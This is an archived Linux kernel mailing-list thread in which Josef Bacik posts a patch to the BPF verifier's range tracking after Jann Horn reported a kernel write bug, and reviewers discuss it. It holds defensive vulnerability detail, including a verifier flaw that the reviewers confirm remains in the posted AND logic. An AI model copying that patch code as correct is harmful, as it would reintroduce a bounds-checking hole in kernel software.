> + dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
> +
> switch (opcode) {
> case BPF_ADD:
> - dst_reg->min_value += min_val;
> - dst_reg->max_value += max_val;
> + if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
> + dst_reg->min_value += min_val;
> + if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
> + dst_reg->max_value += max_val;
> break;
> case BPF_SUB:
> - dst_reg->min_value -= min_val;
> - dst_reg->max_value -= max_val;
> + if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
> + dst_reg->min_value -= min_val;
> + if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
> + dst_reg->max_value -= max_val;
> break;
> case BPF_MUL:
> - dst_reg->min_value *= min_val;
> - dst_reg->max_value *= max_val;
> + if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
> + dst_reg->min_value *= min_val;
> + if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
> + dst_reg->max_value *= max_val;
> break;
> case BPF_AND:
> - /* & is special since it could end up with 0 bits set. */
> - dst_reg->min_value &= min_val;
> + /* & is special since it's could be any value within our
> range,
> + * including 0. But if the thing we're AND'ing against is
> + * negative and we're negative then that's the minimum
> value,
> + * otherwise the minimum will always be 0.
> + */
> + if (min_val < 0 && dst_reg->min_value < 0)
> + dst_reg->min_value = min_t(s64, dst_reg->min_value,
> + min_val);
> + else
> + dst_reg->min_value = 0;
> dst_reg->max_value = max_val;
> break;
> case BPF_LSH:
> @@ -1559,24 +1583,19 @@ static void adjust_reg_min_max_vals(struct
> bpf_verifier_env *env,
> */
> if (min_val > ilog2(BPF_REGISTER_MAX_RANGE))
> dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
> - else
> + else if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
> dst_reg->min_value <<= min_val;
>
> if (max_val > ilog2(BPF_REGISTER_MAX_RANGE))
> dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
> - else
> + else if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
> dst_reg->max_value <<= max_val;
> break;
> case BPF_RSH:
> - dst_reg->min_value >>= min_val;
> - dst_reg->max_value >>= max_val;
> - break;
> - case BPF_MOD:
> - /* % is special since it is an unsigned modulus, so the
> floor
> - * will always be 0.
> - */
> - dst_reg->min_value = 0;
> - dst_reg->max_value = max_val - 1;
> + if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
> + dst_reg->min_value >>= min_val;
> + if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
> + dst_reg->max_value >>= max_val;
> break;
> default:
> reset_reg_range_values(regs, insn->dst_reg);
> --
> 2.5.5
>
^ permalink raw reply [flat|nested] 9+ messages in thread
* [PATCH] bpf: fix range arithmetic for bpf map access
2016-11-09 22:12 ` Jann Horn
@ 2016-11-11 0:18 ` Josef Bacik
2016-11-11 0:46 ` David Miller
2016-11-11 16:36 ` Jann Horn
0 siblings, 2 replies; 9+ messages in thread
From: Josef Bacik @ 2016-11-11 0:18 UTC (permalink / raw)
To: jannh, daniel, ast, davem, netdev
---
Sorry Jann, I saw your response last night and then promptly forgot about it,
here's the git-send-email version.
---
I made some invalid assumptions with BPF_AND and BPF_MOD that could result in
invalid accesses to bpf map entries. Fix this up by doing a few things
1) Kill BPF_MOD support. This doesn't actually get used by the compiler in real
life and just adds extra complexity.
2) Fix the logic for BPF_AND. If the min value is negative then that is the new
minimum, otherwise it is unconditionally 0.
3) Don't do operations on the ranges if they are set to the limits, as they are
by definition undefined, and allowing arithmetic operations on those values
could make them appear valid when they really aren't.
This fixes the testcase provided by Jann as well as a few other theoretical
problems.
Reported-by: Jann Horn <jannh@google.com>
Signed-off-by: Josef Bacik <jbacik@fb.com>
---
include/linux/bpf_verifier.h | 3 +-
kernel/bpf/verifier.c | 65 ++++++++++++++++++++++++++++----------------
2 files changed, 44 insertions(+), 24 deletions(-)
diff --git a/include/linux/bpf_verifier.h b/include/linux/bpf_verifier.h
index ac5b393..15ceb7f 100644
--- a/include/linux/bpf_verifier.h
+++ b/include/linux/bpf_verifier.h
@@ -22,7 +22,8 @@ struct bpf_reg_state {
* Used to determine if any memory access using this register will
* result in a bad access.
*/
- u64 min_value, max_value;
+ s64 min_value;
+ u64 max_value;
u32 id;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK | UNKNOWN_VALUE */
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 9002575..840533a 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -234,8 +234,8 @@ static void print_verifier_state(struct bpf_verifier_state *state)
reg->map_ptr->value_size,
reg->id);
if (reg->min_value != BPF_REGISTER_MIN_RANGE)
- verbose(",min_value=%llu",
- (unsigned long long)reg->min_value);
+ verbose(",min_value=%lld",
+ (long long)reg->min_value);
if (reg->max_value != BPF_REGISTER_MAX_RANGE)
verbose(",max_value=%llu",
(unsigned long long)reg->max_value);
@@ -1490,7 +1490,7 @@ static void check_reg_overflow(struct bpf_reg_state *reg)
{
if (reg->max_value > BPF_REGISTER_MAX_RANGE)
reg->max_value = BPF_REGISTER_MAX_RANGE;
- if ((s64)reg->min_value < BPF_REGISTER_MIN_RANGE)
+ if (reg->min_value < BPF_REGISTER_MIN_RANGE)
reg->min_value = BPF_REGISTER_MIN_RANGE;
}
@@ -1498,7 +1498,8 @@ static void adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
struct bpf_reg_state *regs = env->cur_state.regs, *dst_reg;
- u64 min_val = BPF_REGISTER_MIN_RANGE, max_val = BPF_REGISTER_MAX_RANGE;
+ s64 min_val = BPF_REGISTER_MIN_RANGE;
+ u64 max_val = BPF_REGISTER_MAX_RANGE;
bool min_set = false, max_set = false;
u8 opcode = BPF_OP(insn->code);
@@ -1534,22 +1535,45 @@ static void adjust_reg_min_max_vals(struct bpf_verifier_env *env,
return;
}
+ /* If one of our values was at the end of our ranges then we can't just
+ * do our normal operations to the register, we need to set the values
+ * to the min/max since they are undefined.
+ */
+ if (min_val == BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
+ if (max_val == BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
+
switch (opcode) {
case BPF_ADD:
- dst_reg->min_value += min_val;
- dst_reg->max_value += max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value += min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value += max_val;
break;
case BPF_SUB:
- dst_reg->min_value -= min_val;
- dst_reg->max_value -= max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value -= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value -= max_val;
break;
case BPF_MUL:
- dst_reg->min_value *= min_val;
- dst_reg->max_value *= max_val;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value *= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value *= max_val;
break;
case BPF_AND:
- /* & is special since it could end up with 0 bits set. */
- dst_reg->min_value &= min_val;
+ /* & is special since it's could be any value within our range,
+ * including 0. But if the thing we're AND'ing against is
+ * negative and we're negative then that's the minimum value,
+ * otherwise the minimum will always be 0.
+ */
+ if (min_val < 0 && dst_reg->min_value < 0)
+ dst_reg->min_value = min_t(s64, dst_reg->min_value,
+ min_val);
+ else
+ dst_reg->min_value = 0;
dst_reg->max_value = max_val;
break;
case BPF_LSH:
@@ -1559,24 +1583,19 @@ static void adjust_reg_min_max_vals(struct bpf_verifier_env *env,
*/
if (min_val > ilog2(BPF_REGISTER_MAX_RANGE))
dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
- else
+ else if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
dst_reg->min_value <<= min_val;
if (max_val > ilog2(BPF_REGISTER_MAX_RANGE))
dst_reg->max_value = BPF_REGISTER_MAX_RANGE;
- else
+ else if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
dst_reg->max_value <<= max_val;
break;
case BPF_RSH:
- dst_reg->min_value >>= min_val;
- dst_reg->max_value >>= max_val;
- break;
- case BPF_MOD:
- /* % is special since it is an unsigned modulus, so the floor
- * will always be 0.
- */
- dst_reg->min_value = 0;
- dst_reg->max_value = max_val - 1;
+ if (dst_reg->min_value != BPF_REGISTER_MIN_RANGE)
+ dst_reg->min_value >>= min_val;
+ if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
+ dst_reg->max_value >>= max_val;
break;
default:
reset_reg_range_values(regs, insn->dst_reg);
--
2.5.5
^ permalink raw reply related [flat|nested] 9+ messages in thread
* Re: [PATCH] bpf: fix range arithmetic for bpf map access
2016-11-11 0:18 ` [PATCH] bpf: fix range arithmetic for bpf map access Josef Bacik
@ 2016-11-11 0:46 ` David Miller
2016-11-11 16:36 ` Jann Horn
1 sibling, 0 replies; 9+ messages in thread
From: David Miller @ 2016-11-11 0:46 UTC (permalink / raw)
To: jbacik; +Cc: jannh, daniel, ast, netdev
From: Josef Bacik <jbacik@fb.com>
Date: Thu, 10 Nov 2016 19:18:12 -0500
> ---
> Sorry Jann, I saw your response last night and then promptly forgot about it,
> here's the git-send-email version.
GIT will remove everything after the first "---" line from the commit message,
so you've essentially submitted an empty commit message here.
Put such "---" annotations after the commit message, not at the
beginning.
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] bpf: fix range arithmetic for bpf map access
2016-11-11 0:18 ` [PATCH] bpf: fix range arithmetic for bpf map access Josef Bacik
2016-11-11 0:46 ` David Miller
@ 2016-11-11 16:36 ` Jann Horn
2016-11-11 19:09 ` Josef Bacik
1 sibling, 1 reply; 9+ messages in thread
From: Jann Horn @ 2016-11-11 16:36 UTC (permalink / raw)
To: Josef Bacik; +Cc: Daniel Borkmann, Alexei Starovoitov, David S. Miller, netdev
On Fri, Nov 11, 2016 at 1:18 AM, Josef Bacik <jbacik@fb.com> wrote:
> ---
> Sorry Jann, I saw your response last night and then promptly forgot about it,
> here's the git-send-email version.
> ---
A note: This doesn't seem to apply cleanly to current net-next (or I'm
too stupid to
use "git am"), so I'm applying it on f41cd11d64b2b21012eb4abffbe579bc0b90467f,
which is net-next from a few days ago.
> I made some invalid assumptions with BPF_AND and BPF_MOD that could result in
> invalid accesses to bpf map entries. Fix this up by doing a few things
>
> 1) Kill BPF_MOD support. This doesn't actually get used by the compiler in real
> life and just adds extra complexity.
Yay! As a security person, I am very much in favor of killing unused features.
> 2) Fix the logic for BPF_AND. If the min value is negative then that is the new
> minimum, otherwise it is unconditionally 0.
>
> 3) Don't do operations on the ranges if they are set to the limits, as they are
> by definition undefined, and allowing arithmetic operations on those values
> could make them appear valid when they really aren't.
>
> This fixes the testcase provided by Jann as well as a few other theoretical
> problems.
>
> Reported-by: Jann Horn <jannh@google.com>
> Signed-off-by: Josef Bacik <jbacik@fb.com>
A nit: check_mem_access() still has an explicit cast of reg->min_value to s64, I
think that's not necessary anymore?
> case BPF_AND:
> - /* & is special since it could end up with 0 bits set. */
> - dst_reg->min_value &= min_val;
> + /* & is special since it's could be any value within our range,
> + * including 0. But if the thing we're AND'ing against is
> + * negative and we're negative then that's the minimum value,
> + * otherwise the minimum will always be 0.
> + */
> + if (min_val < 0 && dst_reg->min_value < 0)
> + dst_reg->min_value = min_t(s64, dst_reg->min_value,
> + min_val);
> + else
> + dst_reg->min_value = 0;
> dst_reg->max_value = max_val;
I'm not sure whether this is correct when dealing with signed numbers.
Let's say I have -2 and -3 (as u32: 0xfffffffe and 0xfffffffd) and AND them
together. The result is 0xfffffffc, or -4, right? So if I just compute
the AND of
constant numbers -2 and -3 (known to the verifier), the verifier would
compute minimum -3 while the actual value is -4, right?
If I am correct about this, I think it might make sense to just reset
the state to
unknown in the `min_val < 0 && dst_reg->min_value < 0` case. That shouldn't
occur in legitimate programs, right?
^ permalink raw reply [flat|nested] 9+ messages in thread
* Re: [PATCH] bpf: fix range arithmetic for bpf map access
2016-11-11 16:36 ` Jann Horn
@ 2016-11-11 19:09 ` Josef Bacik
0 siblings, 0 replies; 9+ messages in thread
From: Josef Bacik @ 2016-11-11 19:09 UTC (permalink / raw)
To: Jann Horn; +Cc: Daniel Borkmann, Alexei Starovoitov, David S. Miller, netdev
On 11/11/2016 11:36 AM, Jann Horn wrote:
> On Fri, Nov 11, 2016 at 1:18 AM, Josef Bacik <jbacik@fb.com> wrote:
>> ---
>> Sorry Jann, I saw your response last night and then promptly forgot about it,
>> here's the git-send-email version.
>> ---
>
> A note: This doesn't seem to apply cleanly to current net-next (or I'm
> too stupid to
> use "git am"), so I'm applying it on f41cd11d64b2b21012eb4abffbe579bc0b90467f,
> which is net-next from a few days ago.
>
Yeah Dave pulled in a cleanup fix like right after I rebased onto net-next, I'll
rebase again before I send the next patch.
>
>> I made some invalid assumptions with BPF_AND and BPF_MOD that could result in
>> invalid accesses to bpf map entries. Fix this up by doing a few things
>>
>> 1) Kill BPF_MOD support. This doesn't actually get used by the compiler in real
>> life and just adds extra complexity.
>
> Yay! As a security person, I am very much in favor of killing unused features.
>
I almost dropped AND but thought better of it ;).
>
>> 2) Fix the logic for BPF_AND. If the min value is negative then that is the new
>> minimum, otherwise it is unconditionally 0.
>>
>> 3) Don't do operations on the ranges if they are set to the limits, as they are
>> by definition undefined, and allowing arithmetic operations on those values
>> could make them appear valid when they really aren't.
>>
>> This fixes the testcase provided by Jann as well as a few other theoretical
>> problems.
>>
>> Reported-by: Jann Horn <jannh@google.com>
>> Signed-off-by: Josef Bacik <jbacik@fb.com>
>
> A nit: check_mem_access() still has an explicit cast of reg->min_value to s64, I
> think that's not necessary anymore?
Yup just missed that, I'll fix it.
>
>> case BPF_AND:
>> - /* & is special since it could end up with 0 bits set. */
>> - dst_reg->min_value &= min_val;
>> + /* & is special since it's could be any value within our range,
>> + * including 0. But if the thing we're AND'ing against is
>> + * negative and we're negative then that's the minimum value,
>> + * otherwise the minimum will always be 0.
>> + */
>> + if (min_val < 0 && dst_reg->min_value < 0)
>> + dst_reg->min_value = min_t(s64, dst_reg->min_value,
>> + min_val);
>> + else
>> + dst_reg->min_value = 0;
>> dst_reg->max_value = max_val;
>
> I'm not sure whether this is correct when dealing with signed numbers.
> Let's say I have -2 and -3 (as u32: 0xfffffffe and 0xfffffffd) and AND them
> together. The result is 0xfffffffc, or -4, right? So if I just compute
> the AND of
> constant numbers -2 and -3 (known to the verifier), the verifier would
> compute minimum -3 while the actual value is -4, right?
>
> If I am correct about this, I think it might make sense to just reset
> the state to
> unknown in the `min_val < 0 && dst_reg->min_value < 0` case. That shouldn't
> occur in legitimate programs, right?
>
Yeah actually I think you are right, we'll just assume that AND'ing negative
values means you did something wrong and set it to the RANGE_MIN value. Thanks!
Josef
^ permalink raw reply [flat|nested] 9+ messages in thread
end of thread, other threads:[~2016-11-11 19:09 UTC | newest]
Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2016-11-09 0:23 484611357c19 introduces arbitrary kernel write bug (root-only) Jann Horn
2016-11-09 1:04 ` Andy Lutomirski
2016-11-09 2:02 ` Josef Bacik
2016-11-09 21:21 ` Josef Bacik
2016-11-09 22:12 ` Jann Horn
2016-11-11 0:18 ` [PATCH] bpf: fix range arithmetic for bpf map access Josef Bacik
2016-11-11 0:46 ` David Miller
2016-11-11 16:36 ` Jann Horn
2016-11-11 19:09 ` Josef Bacik
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).